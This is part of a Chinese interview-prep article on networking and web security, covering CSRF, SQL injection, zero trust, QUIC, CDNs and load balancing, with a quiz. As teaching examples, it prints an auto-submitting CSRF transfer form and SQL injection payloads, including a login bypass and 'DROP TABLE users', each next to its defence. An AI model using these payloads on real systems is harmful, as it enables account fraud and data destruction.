| 输出编码 | 将特殊字符转义(< → <,> → >) |
| CSP(Content Security Policy) | 限制页面可以加载的资源来源 |
| HttpOnly Cookie | 设置Cookie的HttpOnly属性,防止JavaScript读取 |
| 使用框架的自动转义 | React、Vue等框架默认转义输出 |
http
// 设置CSP头
Content-Security-Policy: default-src 'self'; script-src 'self'
踩坑提醒: XSS和CSRF经常被搞混。XSS是"攻击者在你网站上执行脚本",CSRF是"攻击者用你的身份发起请求"。记住:XSS偷数据,CSRF做操作。
容易答错的地方:
- 把XSS和CSRF搞混(XSS是注入脚本,CSRF是伪造请求)
- 说不出三种XSS类型的区别(存储型、反射型、DOM型)
- 忘记说CSP(Content Security Policy)这种防御手段
扩展追问(面试官可能会问):
- "存储型XSS和反射型XSS有什么区别?" → 存储型持久化在服务器,反射型通过URL参数触发
- "HttpOnly Cookie能防御XSS吗?" → 能防御Cookie窃取,但不能防御所有XSS攻击
- "CSP头是怎么工作的?" → 限制页面可以加载的资源来源,防止执行内联脚本
- "现代前端框架(React/Vue)能防御XSS吗?" → 默认转义输出,能防御大部分XSS,但不能防御所有情况(如 dangerouslySetInnerHTML)
16. 什么是CSRF攻击?如何防御?
答题框架:攻击定义 → 攻击原理(示例)→ 防御方法 → 与XSS的区别
CSRF(Cross-Site Request Forgery,跨站请求伪造) 是指攻击者诱导已登录的用户在不知情的情况下,以用户的身份向目标网站发起请求。
攻击原理:
1. 用户已登录银行网站(浏览器保存了Session Cookie)
2. 用户访问了攻击者的网站
3. 攻击者网站中有一个隐藏的表单:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. 浏览器自动携带银行的Cookie发送请求
5. 银行以为是用户本人的操作,执行转账
防御方法:
| 方法 | 说明 |
|---|---|
| CSRF Token | 每次请求携带随机Token,服务端验证 |
| SameSite Cookie | 设置Cookie的SameSite属性为Strict或Lax |
| 验证Referer/Origin | 检查请求来源是否合法 |
| 关键操作二次确认 | 转账等操作要求输入密码或短信验证码 |
| 使用自定义请求头 | AJAX请求添加自定义头(跨域请求无法携带) |
http
// SameSite Cookie设置
Set-Cookie: session_id=xxx; SameSite=Strict; Secure; HttpOnly
踩坑提醒: CSRF Token是目前最常用的防御手段。Token由服务端生成,嵌入在表单中,每次请求都不同,攻击者无法获取或猜测这个Token。
容易答错的地方:
- 把CSRF和XSS搞混(CSRF是伪造请求,XSS是注入脚本)
- 说不出CSRF的攻击原理(利用用户已登录的状态,自动携带Cookie)
- 忘记说SameSite Cookie这种现代防御手段
扩展追问(面试官可能会问):
- "CSRF Token是怎么工作的?" → 服务端生成随机Token嵌入表单,提交时验证Token是否匹配
- "SameSite Cookie的Strict和Lax有什么区别?" → Strict完全禁止跨站携带Cookie,Lax允许导航类请求携带
- "GET请求会有CSRF风险吗?" → 有,但通常GET请求应该是幂等的,不修改数据;关键操作应该用POST
- "如果网站完全用JSON API,怎么防御CSRF?" → 验证Content-Type、使用自定义请求头(跨域请求无法携带)
17. SQL注入的原理和防御?
答题框架:攻击定义 → 攻击示例 → 危害 → 防御方法(重点说参数化查询)
SQL注入(SQL Injection) 是指攻击者通过在输入中嵌入恶意SQL语句,篡改数据库查询逻辑。
攻击示例:
sql
-- 正常的登录查询
SELECT * FROM users WHERE username='admin' AND password='123456'
-- 攻击者输入用户名:admin' OR '1'='1
-- 拼接后的SQL变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='xxx'
-- 这个查询永远返回true,攻击者无需密码就能登录
更危险的注入:
sql
-- 攻击者输入:'; DROP TABLE users; --
-- 拼接后的SQL:
SELECT * FROM users WHERE username=''; DROP TABLE users; --' AND password='xxx'
-- 直接删除整张表!
防御方法:
| 方法 | 说明 |
|---|---|
| 参数化查询(预编译语句) | 最有效的方法,SQL和数据分离 |
| 输入验证 | 检查输入格式,拒绝特殊字符 |
| 最小权限原则 | 数据库用户只授予必要权限 |
| ORM框架 | 使用MyBatis、Hibernate等框架 |
| WAF | Web应用防火墙过滤恶意请求 |
java
// 参数化查询示例(Java JDBC)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username); // 参数化,不会被注入
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
python
# 参数化查询示例(Python)
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))
踩坑提醒: 参数化查询是防御SQL注入的最佳实践,没有之一。面试时一定要重点提到。不要说"转义特殊字符"就能防御,转义很容易出错。
容易答错的地方:
- 说"转义特殊字符就能防御SQL注入"(转义容易出错,不是最佳实践)
- 说不出参数化查询的原理(SQL和数据分离,数据库预编译)
- 忘记说最小权限原则(数据库用户只授予必要权限)
扩展追问(面试官可能会问):
- "参数化查询和存储过程有什么区别?" → 参数化查询是客户端技术,存储过程是服务端技术;两者都能防御SQL注入
- "ORM框架能完全防御SQL注入吗?" → 大部分情况下能,但如果使用原生SQL或拼接查询,仍可能注入
- "盲注是什么?" → 攻击者通过观察页面响应差异(如延迟、错误信息)推断数据库结构
- "除了SQL注入,还有什么类似的注入攻击?" → NoSQL注入、LDAP注入、XML注入、命令注入等
18. 什么是零信任安全模型?
答题框架:核心理念 → 与传统安全对比 → 核心原则 → 实现技术
零信任(Zero Trust) 是一种安全理念,核心原则是"永远不信任,始终验证"。
传统安全模型 vs 零信任模型:
| 对比项 | 传统安全模型 | 零信任模型 |
|---|---|---|
| 信任边界 | 城堡式防御(内网可信) | 无边界,不区分内外网 |
| 认证方式 | 一次认证,持续信任 | 每次访问都验证 |
| 权限控制 | 粗粒度(基于网络位置) | 细粒度(基于身份+上下文) |
| 核心假设 | 内网是安全的 | 内网也可能被攻破 |
零信任的核心原则:
- 永不信任,始终验证 ------ 不管请求来自内网还是外网,都要验证
- 最小权限 ------ 只授予完成任务所需的最小权限
- 假设被入侵 ------ 假设网络已经被攻破,设计安全策略
- 持续监控 ------ 实时监控用户行为,发现异常立即响应
实现技术:
- 身份认证(MFA多因素认证)
- 微隔离(Micro-segmentation)
- 设备健康检查
- 持续风险评估
踩坑提醒: 零信任不是一个具体的产品或技术,而是一种安全理念和架构。面试时不要说"零信任是一个协议"或"零信任是一个工具"。
容易答错的地方:
- 说"零信任是一个产品/协议/工具"(零信任是一种安全理念)
- 说不出零信任和传统"城堡-护城河"模型的区别
- 忘记说零信任的四个核心原则
扩展追问(面试官可能会问):
- "零信任和VPN有什么区别?" → VPN建立安全隧道后内网全信任,零信任每次访问都验证
- "零信任怎么落地?" → 身份管理(MFA)、设备健康检查、微隔离、持续监控
- "微隔离(Micro-segmentation)是什么?" → 把网络分成极小的区域,限制攻击横向移动
- "零信任对性能有影响吗?" → 有,每次访问都要验证,但可以通过缓存和优化降低影响
三、综合实战类
19. 从物理层到应用层,数据包的完整封装过程?
答题框架:逐层封装 → 每层加什么 → PDU名称 → 解封装过程
以发送一封邮件为例,展示数据从应用层到物理层的完整封装过程:
应用层:邮件内容
↓ 添加SMTP协议头
传输层:TCP段(Segment)
↓ 添加TCP头(源端口、目的端口、序号、确认号、窗口大小等)
网络层:IP数据报(Packet)
↓ 添加IP头(源IP、目的IP、TTL、协议类型等)
数据链路层:以太网帧(Frame)
↓ 添加帧头(源MAC、目的MAC、类型)和帧尾(FCS校验)
物理层:比特流(Bits)
↓ 转换为电信号/光信号在介质上传输
每一层封装的内容:
+---------------------------+
| 应用层数据 |
+---------------------------+
| TCP头 | 应用层数据 | ← 传输层PDU(Segment)
+---------------------------+
| IP头 | TCP头 | 应用数据 | ← 网络层PDU(Packet)
+---------------------------+
|帧头|IP头|TCP头|应用数据|FCS| ← 数据链路层PDU(Frame)
+---------------------------+
接收端解封装(从下往上):
物理层:接收比特流 → 还原为帧
数据链路层:去掉帧头帧尾 → 还原为数据报
网络层:去掉IP头 → 还原为TCP段
传输层:去掉TCP头 → 还原为应用数据
应用层:解析应用数据 → 显示邮件内容
踩坑提醒: 面试时可以用一个具体的应用(如HTTP请求)来举例说明,这样更直观。画出每一层封装后的数据结构会加分。
容易答错的地方:
- 把各层的PDU名称说错(应用层Data,传输层Segment,网络层Packet,数据链路层Frame)
- 说不出数据链路层加了帧头和帧尾(FCS校验)
- 忘记说解封装过程(从下往上逐层去掉头部)
扩展追问(面试官可能会问):
- "MTU是什么?为什么以太网MTU是1500字节?" → 最大传输单元,1500字节是历史遗留标准
- "如果IP数据包超过MTU怎么办?" → 分片(IPv4路由器可分片,IPv6只有发送方可分片)
- "什么是MSS?和MTU有什么关系?" → MSS是TCP最大段大小,MTU - IP头 - TCP头 = MSS(通常1460字节)
- "数据包经过路由器时,哪些头部会改变?" → 数据链路层头部(MAC地址)会改变,IP头部TTL会减1
20. 如果ping不通一个网站,可能的故障原因和排查步骤?
答题框架:分层排查(物理层→应用层)→ 每层的排查命令 → 总结排查思路
可能的原因:
| 层次 | 可能原因 |
|---|---|
| 物理层 | 网线未连接、网卡故障 |
| 数据链路层 | MAC地址冲突、交换机故障 |
| 网络层 | 路由配置错误、防火墙屏蔽ICMP、IP地址冲突 |
| 传输层 | 端口被屏蔽(ping不用端口,但traceroute涉及) |
| 应用层 | DNS解析失败 |
排查步骤:
bash
# 1. 检查本机网络配置
ipconfig /ifconfig # 查看IP配置
ping 127.0.0.1 # 检查本机TCP/IP协议栈是否正常
# 2. 检查网关连通性
ping 192.168.1.1 # ping网关
# 3. 检查DNS解析
nslookup www.example.com # 检查DNS是否正常
ping 8.8.8.8 # 直接ping IP(绕过DNS)
# 4. 检查路由
traceroute www.example.com # 追踪路由路径,找出断点
# 5. 检查端口连通性
telnet www.example.com 80 # 检查HTTP端口是否开放
curl -v http://www.example.com # 测试HTTP访问
# 6. 检查防火墙
# 检查本机防火墙是否屏蔽了ICMP
# 检查目标服务器防火墙是否屏蔽了ICMP
排查思路总结:
本机 → 网关 → DNS → 目标服务器
↓ ↓ ↓ ↓
ping ping nslookup traceroute
127.0.1 网关 域名→IP 找断点
踩坑提醒: ping不通不代表网站挂了。很多服务器会屏蔽ICMP请求(出于安全考虑)。面试时能说出"ping不通但网站可能正常"这个点,说明你对网络有实际经验。
容易答错的地方:
- 一上来就说"抓包分析"(排查要从底层往上层,先看物理层)
- 说不出ping不通但网站可能正常(ICMP被防火墙过滤)
- 把排查顺序搞混(应该是物理层→数据链路层→网络层→传输层→应用层)
扩展追问(面试官可能会问):
- "能ping通IP但ping不通域名,是什么问题?" → DNS解析问题
- "能ping通网关但ping不通外网,是什么问题?" → 路由器NAT配置、运营商线路、防火墙
- "traceroute显示某一段全是* * *,说明什么?" → 该跳防火墙过滤了ICMP,但后续能到说明路是通的
- "如果只有某个网站打不开,其他网站正常,可能是什么原因?" → DNS污染、该网站服务器故障、本地hosts文件被篡改
21. TCP连接建立后,如果客户端突然断电,服务端会怎样?
答题框架:异常场景 → TCP Keepalive机制 → 参数说明 → 优化方案
这道题考察的是TCP连接的异常处理机制。
过程分析:
1. 客户端突然断电
→ 客户端无法发送FIN报文
→ 服务端不知道客户端已经断开
2. 服务端继续发送数据
→ 收不到ACK
→ 重传多次后超时
3. 服务端发送keepalive探测报文
→ 收不到响应
→ 重试多次(默认9次,约2小时)
4. 最终服务端关闭连接,释放资源
TCP Keepalive机制:
| 参数 | 默认值 | 说明 |
|---|---|---|
| tcp_keepalive_time | 7200秒(2小时) | 多久没有数据传输后开始发送探测 |
| tcp_keepalive_intvl | 75秒 | 探测报文的发送间隔 |
| tcp_keepalive_probes | 9次 | 最多发送多少次探测报文 |
如何优化?
bash
# 修改内核参数,缩短检测时间
sysctl -w net.ipv4.tcp_keepalive_time=600 # 10分钟
sysctl -w net.ipv4.tcp_keepalive_intvl=30 # 30秒
sysctl -w net.ipv4.tcp_keepalive_probes=3 # 3次
踩坑提醒: 这是面试中非常经典的场景题。回答时要说出"服务端不会立即感知到客户端断开",然后解释Keepalive机制,最后给出优化方案。能说出应用层的心跳机制(比如WebSocket心跳包)也是加分项。
容易答错的地方:
- 说"服务端会立即知道客户端断开"(服务端不会立即知道,需要Keepalive或应用层心跳)
- 说不出Keepalive的默认参数(2小时开始探测,75秒间隔,9次重试)
- 忘记说应用层心跳机制(如WebSocket心跳、MQTT PING)
扩展追问(面试官可能会问):
- "TCP Keepalive和应用层心跳有什么区别?" → Keepalive由操作系统处理,应用层心跳由应用程序实现;应用层心跳更灵活
- "如果服务端突然断电,客户端会怎样?" → 客户端发送数据后收不到ACK,超时重传,最终RST
- "什么是TCP半开连接(Half-open Connection)?" → 一端认为连接已断开,另一端仍认为连接正常
- "Netty中怎么实现心跳检测?" → IdleStateHandler,设置读/写空闲时间,触发心跳
22. 为什么Wi-Fi比有线网络延迟高?
答题框架:逐条列举原因 → 每条简要说明 → 优化建议
| 原因 | 说明 |
|---|---|
| 半双工通信 | Wi-Fi同一时间只能发送或接收,不能同时进行 |
| CSMA/CA机制 | 发送前要侦听信道,冲突后要退避等待 |
| 无线信号干扰 | 同频段的其他设备(微波炉、蓝牙)会干扰 |
| 信号衰减和重传 | 墙壁、距离导致信号弱,丢包后需要重传 |
| 共享介质 | 同一AP下的所有设备共享带宽 |
| 协议开销 | Wi-Fi帧头部更大,加密解密也需要时间 |
| 天线切换 | 发送和接收之间需要切换天线模式 |
有线网络的优势:
- 全双工通信,可以同时收发
- 专用介质,不受其他设备干扰
- 信号稳定,几乎不丢包
- 带宽独享(交换式以太网)
踩坑提醒: 面试时如果被问到"如何降低Wi-Fi延迟?",可以从以下角度回答:使用5GHz频段(干扰少)、减少AP数量、使用Wi-Fi 6(OFDMA技术)、靠近路由器等。
容易答错的地方:
- 只说"无线信号不稳定"(太笼统,要具体说CSMA/CA、半双工、干扰等)
- 说不出Wi-Fi是半双工(同一时间只能发送或接收)
- 忘记说CSMA/CA的退避等待增加了延迟
扩展追问(面试官可能会问):
- "Wi-Fi 6的OFDMA是怎么降低延迟的?" → 把信道分成多个子载波,多个设备同时传输,减少等待
- "5GHz和2.4GHz有什么区别?" → 5GHz速度快但覆盖范围小、穿墙差;2.4GHz覆盖广但干扰多
- "什么是MU-MIMO?" → 多用户多输入多输出,AP可以同时与多个设备通信
- "有线网络为什么延迟低?" → 全双工、专用介质、无干扰、带宽独享
23. CDN的工作原理?
答题框架:定义 → 工作流程 → 核心技术 → 适用场景
CDN(Content Delivery Network,内容分发网络) 通过在全球部署边缘节点,将内容缓存到离用户最近的节点,加速用户访问。
工作流程:
1. 用户请求 www.example.com/image.jpg
↓
2. DNS解析返回CDN节点的IP(而不是源服务器的IP)
↓
3. 用户请求到达最近的CDN边缘节点
↓
4. CDN节点检查缓存
├─ 命中:直接返回缓存内容(快速)
└─ 未命中:回源到源服务器获取内容,缓存后返回
CDN的核心技术:
| 技术 | 说明 |
|---|---|
| DNS智能解析 | 根据用户IP返回最近的CDN节点 |
| 内容缓存 | 在边缘节点缓存静态内容 |
| 回源策略 | 缓存过期时回源获取最新内容 |
| 负载均衡 | 多个CDN节点之间分配请求 |
CDN适合缓存的资源:
- 静态资源:图片、CSS、JS、视频
- 不适合:动态接口、实时数据
踩坑提醒: CDN加速的是"静态内容",对于需要实时计算的数据(如API接口),CDN只能做负载均衡,不能缓存。面试时要区分清楚。
容易答错的地方:
- 说"CDN能加速所有内容"(CDN主要加速静态内容,动态内容只能做负载均衡)
- 说不出CDN的核心技术(DNS智能解析、内容缓存、回源策略)
- 忘记说CDN适合缓存的资源类型(图片、CSS、JS、视频)
扩展追问(面试官可能会问):
- "CDN的回源策略有哪些?" → 定时回源、被动回源(缓存过期时)、主动预热
- "CDN和负载均衡有什么区别?" → CDN侧重内容分发和缓存,负载均衡侧重请求分发
- "什么是CDN的缓存穿透、缓存击穿、缓存雪崩?" → 穿透:查询不存在的数据;击穿:热点缓存过期;雪崩:大量缓存同时过期
- "如何防止CDN缓存动态内容?" → 设置Cache-Control: no-cache,或URL带随机参数
24. 负载均衡的常见算法?
答题框架:常见算法列举 → 四层vs七层负载均衡 → 适用场景
| 算法 | 说明 | 优缺点 |
|---|---|---|
| 轮询(Round Robin) | 按顺序依次分配 | 简单,但不考虑服务器性能差异 |
| 加权轮询(Weighted RR) | 按权重分配,性能好的服务器分更多 | 考虑了服务器性能差异 |
| 最少连接(Least Connections) | 优先分配给连接数最少的服务器 | 适合长连接场景 |
| 加权最少连接 | 结合权重和连接数 | 更精确的分配 |
| IP Hash | 根据客户端IP的hash值分配 | 同一IP总是访问同一服务器(会话保持) |
| URL Hash | 根据URL的hash值分配 | 同一资源总是访问同一服务器(缓存友好) |
| 最少响应时间 | 优先分配给响应最快的服务器 | 综合考虑了服务器性能和当前负载 |
| 随机(Random) | 随机选择一台服务器 | 简单,在大量请求下趋于均匀 |
四层负载均衡 vs 七层负载均衡:
| 对比项 | 四层(L4) | 七层(L7) |
|---|---|---|
| 工作层次 | 传输层(TCP/UDP) | 应用层(HTTP/HTTPS) |
| 依据 | IP+端口 | URL、Cookie、Header等 |
| 性能 | 高 | 较低(需要解析应用层协议) |
| 功能 | 转发 | 转发+内容改写+安全过滤 |
| 代表 | LVS、Nginx(stream) | Nginx、HAProxy |
踩坑提醒: 面试时如果被问到"负载均衡和高可用的区别",简单说:负载均衡是"把请求分给多台服务器",高可用是"一台挂了另一台顶上"。两者经常配合使用。
容易答错的地方:
- 只说轮询,说不出其他算法(加权轮询、最少连接、IP Hash等)
- 分不清四层负载均衡和七层负载均衡
- 说不出IP Hash的作用(会话保持)
扩展追问(面试官可能会问):
- "LVS和Nginx有什么区别?" → LVS是四层负载均衡(内核态,性能高),Nginx可以做四/七层(用户态,功能丰富)
- "什么场景用最少连接算法?" → 长连接场景(如WebSocket、数据库连接)
- "会话保持(Session Stickiness)是怎么实现的?" → IP Hash、Cookie插入、独立Session存储(Redis)
- "负载均衡器本身挂了怎么办?" → 负载均衡集群(如Keepalived+VRRP实现高可用)
25. 什么是QUIC协议?它解决了什么问题?
答题框架:定义 → 解决的三个核心问题 → QUIC vs TCP对比
QUIC(Quick UDP Internet Connections) 是Google设计的基于UDP的传输层协议,HTTP/3就是基于QUIC的。
QUIC解决的核心问题:
1. TCP队头阻塞
HTTP/2的问题:
一个TCP连接上多个Stream
如果某个Stream的包丢失
→ TCP层面所有Stream都要等待重传
→ 即使其他Stream的包已经到达也无法交付
QUIC的解决方案:
每个Stream独立传输
某个Stream的包丢失
→ 只影响该Stream
→ 其他Stream不受影响
2. 连接建立延迟
TCP + TLS 1.2:
TCP握手(1 RTT)+ TLS握手(2 RTT)= 3 RTT
QUIC + TLS 1.3:
传输层和加密层握手合并 = 1 RTT
0-RTT恢复(重用之前的连接参数)
3. 连接迁移
TCP的问题:
连接由四元组(源IP、源端口、目的IP、目的端口)标识
手机从Wi-Fi切换到4G → IP变了 → TCP连接断开
QUIC的解决方案:
使用Connection ID标识连接
网络切换不影响连接
QUIC vs TCP对比:
| 对比项 | TCP | QUIC |
|---|---|---|
| 传输层 | TCP | UDP |
| 队头阻塞 | TCP层面有 | 无(Stream独立) |
| 握手延迟 | 1-3 RTT | 0-1 RTT |
| 连接迁移 | 不支持 | 支持 |
| 内置加密 | 无 | 内置TLS 1.3 |
| 拥塞控制 | 在内核实现 | 在用户空间实现(可灵活调整) |
踩坑提醒: QUIC基于UDP,但不是简单的"用UDP代替TCP"。QUIC在UDP之上实现了TCP的可靠传输、拥塞控制等功能,同时还解决了TCP的队头阻塞和连接迁移问题。面试时能说清楚QUIC"解决了什么问题"比"QUIC是什么"更重要。
容易答错的地方:
- 说"QUIC就是UDP"(QUIC在UDP之上实现了可靠传输、拥塞控制等)
- 说不出QUIC解决的三个核心问题(队头阻塞、连接建立延迟、连接迁移)
- 忘记说HTTP/3基于QUIC
扩展追问(面试官可能会问):
- "QUIC的连接迁移是怎么实现的?" → 使用Connection ID标识连接,IP变化不影响连接
- "QUIC的0-RTT恢复有什么安全风险?" → 可能受到重放攻击,需要额外的防护措施
- "QUIC的拥塞控制是在内核还是用户空间?" → 用户空间,可以灵活调整
- "为什么QUIC没有广泛普及?" → 中间设备(防火墙、路由器)对UDP支持不好,NAT映射超时短
新手常见误区
学应用层和安全这块,新手最容易踩这几个坑:
误区1:以为HTTP和HTTPS只是"加了个S"
错误理解:"HTTPS就是HTTP加了个加密层,其他都一样。"
正确理解:HTTPS = HTTP + SSL/TLS,确实多了加密层,但还涉及证书验证、TLS握手、端口变化(80→443)。而且HTTPS不是"绝对安全"的,如果证书被伪造或用户安装了恶意根证书,HTTPS也能被中间人攻击。
踩坑提醒:面试时说"HTTPS通过证书验证服务器身份"是加分项。
误区2:把XSS和CSRF搞混
错误理解:"XSS和CSRF都是注入攻击,差不多吧。"
正确理解:XSS是"攻击者在你网站上执行脚本"(偷数据),CSRF是"攻击者用你的身份发起请求"(做操作)。防御方法也不同:XSS用输入过滤、输出编码、CSP;CSRF用Token、SameSite Cookie。
记忆技巧:XSS = 偷(窃取Cookie),CSRF = 做(伪造转账)。
误区3:以为Cookie设置了HttpOnly就万事大吉
错误理解:"Cookie设置了HttpOnly,就不会被XSS偷了,很安全。"
正确理解:HttpOnly只能防止JavaScript读取Cookie,但不能防御所有XSS攻击。攻击者仍然可以通过XSS执行其他恶意操作(如键盘记录、钓鱼、页面篡改)。XSS的防御需要多层手段:输入过滤、输出编码、CSP、HttpOnly等。
踩坑提醒:安全没有银弹,需要多层防御(纵深防御)。
误区4:以为负载均衡就是"把请求平均分"
错误理解:"负载均衡就是把请求平均分给每台服务器。"
正确理解:负载均衡有多种算法,不只是轮询。加权轮询考虑服务器性能差异,最少连接考虑当前负载,IP Hash考虑会话保持。而且负载均衡还分四层(L4)和七层(L7),工作层次不同,功能也不同。
踩坑提醒:面试时说"根据场景选择合适的负载均衡算法"是加分项。
问题与解答
Q1:HTTP/2解决了HTTP/1.1的队头阻塞问题,为什么HTTP/3还要解决队头阻塞?
HTTP/2解决了HTTP层面的队头阻塞(一个TCP连接上多个Stream可以并行),但引入了TCP层面的队头阻塞。因为HTTP/2还是基于TCP的,如果TCP层发生丢包,所有Stream的数据都要等待重传。HTTP/3用QUIC替代TCP,每个Stream独立传输,彻底解决了这个问题。
Q2:如果面试官问"如何防止CSRF攻击",除了CSRF Token还有什么方法?
SameSite Cookie属性(Strict或Lax)是现代浏览器推荐的方式。Strict模式下,跨站请求完全不会携带Cookie;Lax模式下,只有导航类请求(如链接跳转)会携带Cookie。另外验证Referer/Origin头、关键操作二次确认也是有效的防御手段。
Q3:零信任安全模型和传统VPN有什么区别?
传统VPN建立了一个"安全隧道",一旦通过认证进入内网就被完全信任。零信任模型不信任任何网络位置,即使是通过VPN连接的用户,每次访问资源都需要重新验证身份和权限。零信任更细粒度、更安全。
面试高频考点汇总
面试题1:浏览器输入URL到页面显示的完整过程
答案: 见第1题。关键步骤:URL解析 → DNS解析 → TCP三次握手 → TLS握手(HTTPS)→ HTTP请求 → 服务器处理 → HTTP响应 → 浏览器渲染(DOM树→CSSOM树→渲染树→布局→绘制→合成)。要能说出每一步的细节。
面试题2:HTTP和HTTPS的区别?HTTPS是如何保证安全的?
答案: 见第2题和第12题。HTTPS = HTTP + TLS。TLS通过证书验证服务器身份,通过非对称加密协商密钥,通过对称加密传输数据。面试时要能说出TLS握手的基本流程。
面试题3:XSS和CSRF的区别?分别如何防御?
答案: XSS是注入恶意脚本,窃取用户数据;CSRF是伪造用户请求,执行未授权操作。XSS防御:输入过滤、输出编码、CSP、HttpOnly。CSRF防御:CSRF Token、SameSite Cookie、验证Referer。
面试题4:GET和POST的本质区别是什么?
答案: 见第5题。从语义角度:GET是获取资源(幂等),POST是提交数据(非幂等)。从技术角度:参数位置不同、缓存行为不同、安全性不同。但本质上GET和POST都是TCP连接上的HTTP请求,没有本质的传输差异。
面试题5:QUIC协议解决了什么问题?为什么HTTP/3要基于QUIC?
答案: 见第25题。QUIC解决了三个核心问题:TCP队头阻塞(Stream独立传输)、连接建立延迟(1 RTT/0-RTT)、连接迁移(基于Connection ID)。HTTP/3基于QUIC彻底解决了HTTP/2的TCP层面队头阻塞问题。
模拟测试题
一、选择题
1. 以下哪个HTTP状态码表示"资源未修改,使用缓存"?
A. 200
B. 301
C. 304
D. 404
2. DNS解析过程中,主机向本地DNS服务器的查询方式通常是?
A. 迭代查询
B. 递归查询
C. 反向查询
D. 广播查询
3. 以下哪种攻击方式属于"跨站脚本攻击"?
A. SQL注入
B. CSRF
C. XSS
D. DDoS
4. QUIC协议基于以下哪个传输层协议?
A. TCP
B. UDP
C. SCTP
D. ICMP
5. CDN的核心作用是?
A. 加密通信
B. 加速静态内容分发
C. 防止SQL注入
D. 建立VPN隧道
二、参考答案
- C ------ 304 Not Modified表示资源未修改,浏览器使用本地缓存
- B ------ 主机向本地DNS服务器通常使用递归查询
- C ------ XSS是跨站脚本攻击
- B ------ QUIC基于UDP协议
- B ------ CDN的核心作用是加速静态内容分发
计算机网络全面教学系列学习路线图
恭喜你读完了面试高频50题的上下两篇!整个系列的学习路线如下,帮助你系统掌握计算机网络知识:
用文字描述一个完整的学习路径图:
【计算机网络学习路线图】
|
+-----------------+-----------------+
| |
【第一阶段:筑基期】 【第二阶段:进阶期】
(Day1-6,建立知识体系) (Day7-8,深入核心原理)
| |
+-------+-------+ +-------+-------+
| | | | |
Day1-2 Day3-4 Day5-6 Day7 Day8
网络基础 物理层/ 网络层 网络设备与 网络互联与
入门 数据链路层 故障排查 前沿技术
| | | | |
带宽/ MAC/ IP地址/ 交换机/ SDN/5G/
延迟/ VLAN/ 子网划分/ 路由器/ 零信任/
吞吐量 CSMA/CD ARP/ICMP/ 防火墙/ 云计算
NAT/RIP/OSPF Wireshark
| |
+-----------------+-----------------+
|
【第三阶段:实战期】
(Day9-10,面试冲刺)
|
+---------+---------+
| |
Day9 Day10
面试高频50题(上) 面试高频50题(下)
网络层+传输层考点 应用层+安全+综合考点
| |
OSI模型/ HTTP/HTTPS/
TCP三次握手/ DNS/DHCP/
拥塞控制/ XSS/CSRF/
滑动窗口 SQL注入/DDoS
| |
+---------+---------+
|
【第四阶段:升华期】
(Day11-12,持续精进)
|
+-----------------+-----------------+
| |
HTTP/3深入分析 网络编程实战
QUIC协议原理 Socket编程
性能优化策略 抓包分析技巧
故障排查方法论
各阶段学习重点:
| 阶段 | 目标 | 关键产出 |
|---|---|---|
| 筑基期 | 理解网络分层思想和各层核心概念 | 能画出OSI七层模型,说出每层功能 |
| 进阶期 | 掌握设备原理和前沿技术趋势 | 能区分交换机/路由器,理解SDN/零信任 |
| 实战期 | 能应对面试中的高频问题 | 能清晰回答50道面试题,说出答题框架 |
| 升华期 | 具备实际网络问题排查能力 | 能用Wireshark抓包,能排查网络故障 |
学习建议:
- 基础薄弱的同学先从Day1开始按顺序学,像盖房子一样一层层搭
- 有一定基础的同学可以直接刷Day9和Day10的面试题,遇到不懂的再回头补基础
- 每道题不要只看答案,要理解背后的原理,最好能用自己话复述一遍
- 结合实际抓包工具(Wireshark)验证理论知识,看到真实的报文交互
- 多画时序图和流程图,面试时能在纸上画出来是加分项
- 建立自己的"错题本",把容易混淆的概念(如XSS vs CSRF、301 vs 302)整理在一起
互动话题
这50道面试题中,你最怕被问到哪道?或者你在面试中遇到过哪些"奇葩"的网络问题? 欢迎在评论区分享。整个计算机网络教学系列到这里就告一段落了,后续我会出进阶专题,敬请期待!